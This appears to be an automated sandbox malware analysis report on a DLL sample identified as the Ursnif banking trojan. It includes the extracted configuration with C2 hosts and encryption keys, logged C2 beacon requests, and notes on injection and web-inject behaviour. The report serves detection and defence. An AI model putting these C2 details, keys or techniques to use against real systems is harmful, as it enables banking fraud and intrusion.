Windows Analysis Report
HxEWwh74qT

Overview

General Information

Sample Name: HxEWwh74qT (renamed file extension from none to dll)
Analysis ID: 613862
MD5: 5d2b5cbd8a574c9e35309e21ecf93a0e
SHA1: c15e583e28556f5d187197937b4d2a715ebf8ca7
SHA256: 52d14c9cd56aa41ba98a24a4a3dc3674f7e281c3d79f6aca141382fb56585bcd
Tags: 32dllexe
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Sigma detected: Suspicious Remote Thread Created
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Suspicious Call by Ordinal
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: HxEWwh74qT.dll Virustotal: Detection: 36% Perma Link
Source: HxEWwh74qT.dll ReversingLabs: Detection: 30%
Machine Learning detection for sample
Source: HxEWwh74qT.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE3072 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_04DE3072
Uses 32bit PE files
Source: HxEWwh74qT.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.515144273.0000000006160000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.500269242.00000000060B0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: loaddll32.exe, 00000000.00000000.390436792.0000000000480000.00000002.00000001.01000000.00000003.sdmp, HxEWwh74qT.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.515144273.0000000006160000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.500269242.00000000060B0000.00000004.00001000.00020000.00000000.sdmp

Networking
barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.7:49771 -> 13.107.43.16:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.7:49771 -> 13.107.43.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.7:49775 -> 146.70.35.138:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.7:49775 -> 146.70.35.138:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 146.70.35.138 80 Jump to behavior
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TENET-1ZA TENET-1ZA
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /phpadmin/amEwUCMy/zQvTSnELMCHIJfWA9A7NF2J/B_2FgTN3w5/bDUz7M_2FQ_2FvsyQ/_2FoZnlV0ztm/G4pVInXE2v2/3DjsF_2BN_2F7_/2FqxWA7q0ZWwUgJ9q_2B6/oG7o48SwKb_2FuN4/koQCfS1rrGeWSn9/gvwn1WY7oRq54G3QzL/QoP8Nx_2F/m8EC_2FPKp_2B2QIRT4a/hKoi_2FT5FiIh7mNlS7/jciRuxpI3KdaM19hmR8F9V/NOK7C_2BauAdB/emv_2BixRfY4926/zZ.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/1p0semBcWFOiJ/VuHxHtu5/AN830nRWQ1d2xctaoA3KLHR/918Z9VEhPV/P8ohXldFwnNmepL6Q/uKTfc4fmSrkK/BfYNKcK_2Bx/w_2FA1ltM5KCgm/3UT06OWaufeDOP8Oq_2FL/oIF6meLVrySmPHH0/RIFJ_2FHuhWguIS/4hvBrDpXZ_2FB9M_2F/VjlCK_2FC/TflkNLJtzRIEzaze5_2F/wDsLbDghNL5li48V5rm/4qe0lRbO5_2FdP6RKk3aIg/j40b09twfw_2F/PdHkwNcC/i0_2BVuZ/L.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/sJOLDU_2FhOUoo/k46SW66GV6I1pQKjWA9TE/PWpby4hvIkOnAKsS/x0Aee5T7Xyol_2F/mHBJFq72pa7ZryIdq5/j7jpLfh_2/B9C_2B8rr1N7pwYs7Hbz/HAjnG5DvkxUUwsnvZ2H/7mKa3lBAhH1k0Vg5CBUe72/SPp1Kc_2FZv6K/7UGQxmIh/q1dxSy205p9HqV1EWhDaIi0/wpq760vWJe/2wvTRaTBNSXKAlgWL/PHcpI3wJ6a_2/BROCpFJpoTX/N2ZuQyATVgKAeO/_2Fd3SdF.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: unknown TCP traffic detected without corresponding DNS query: 146.70.35.138
Source: rundll32.exe, 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: rundll32.exe, 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, control.exe, 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: explorer.exe, 00000021.00000000.523469701.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.572314670.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.526704286.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.562762119.00000000026D0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ns.adobY
Source: powershell.exe, 00000014.00000002.767708483.000002DC67F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000014.00000002.767419442.000002DC67D31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000014.00000002.767708483.000002DC67F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000014.00000002.767708483.000002DC67F3F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE4CC6 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 3_2_04DE4CC6
Source: global traffic HTTP traffic detected: GET /phpadmin/amEwUCMy/zQvTSnELMCHIJfWA9A7NF2J/B_2FgTN3w5/bDUz7M_2FQ_2FvsyQ/_2FoZnlV0ztm/G4pVInXE2v2/3DjsF_2BN_2F7_/2FqxWA7q0ZWwUgJ9q_2B6/oG7o48SwKb_2FuN4/koQCfS1rrGeWSn9/gvwn1WY7oRq54G3QzL/QoP8Nx_2F/m8EC_2FPKp_2B2QIRT4a/hKoi_2FT5FiIh7mNlS7/jciRuxpI3KdaM19hmR8F9V/NOK7C_2BauAdB/emv_2BixRfY4926/zZ.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/1p0semBcWFOiJ/VuHxHtu5/AN830nRWQ1d2xctaoA3KLHR/918Z9VEhPV/P8ohXldFwnNmepL6Q/uKTfc4fmSrkK/BfYNKcK_2Bx/w_2FA1ltM5KCgm/3UT06OWaufeDOP8Oq_2FL/oIF6meLVrySmPHH0/RIFJ_2FHuhWguIS/4hvBrDpXZ_2FB9M_2F/VjlCK_2FC/TflkNLJtzRIEzaze5_2F/wDsLbDghNL5li48V5rm/4qe0lRbO5_2FdP6RKk3aIg/j40b09twfw_2F/PdHkwNcC/i0_2BVuZ/L.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /phpadmin/sJOLDU_2FhOUoo/k46SW66GV6I1pQKjWA9TE/PWpby4hvIkOnAKsS/x0Aee5T7Xyol_2F/mHBJFq72pa7ZryIdq5/j7jpLfh_2/B9C_2B8rr1N7pwYs7Hbz/HAjnG5DvkxUUwsnvZ2H/7mKa3lBAhH1k0Vg5CBUe72/SPp1Kc_2FZv6K/7UGQxmIh/q1dxSy205p9HqV1EWhDaIi0/wpq760vWJe/2wvTRaTBNSXKAlgWL/PHcpI3wJ6a_2/BROCpFJpoTX/N2ZuQyATVgKAeO/_2Fd3SdF.src HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 146.70.35.138Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Disables SPDY (HTTP compression, likely to perform web injects)
Source: C:\Windows\explorer.exe Registry key value created / modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings EnableSPDY3_0 0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE3072 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_04DE3072

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: HxEWwh74qT.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Yara signature match
Source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
One or more processes crash
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 608
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE821C 3_2_04DE821C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE198A 3_2_04DE198A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE475F 3_2_04DE475F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00808C30 20_2_000002DC00808C30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00803B64 20_2_000002DC00803B64
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F8D20 20_2_000002DC007F8D20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00816814 20_2_000002DC00816814
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080F83C 20_2_000002DC0080F83C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081A84C 20_2_000002DC0081A84C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081B7AC 20_2_000002DC0081B7AC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F47E4 20_2_000002DC007F47E4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080B910 20_2_000002DC0080B910
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00816138 20_2_000002DC00816138
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F711C 20_2_000002DC007F711C
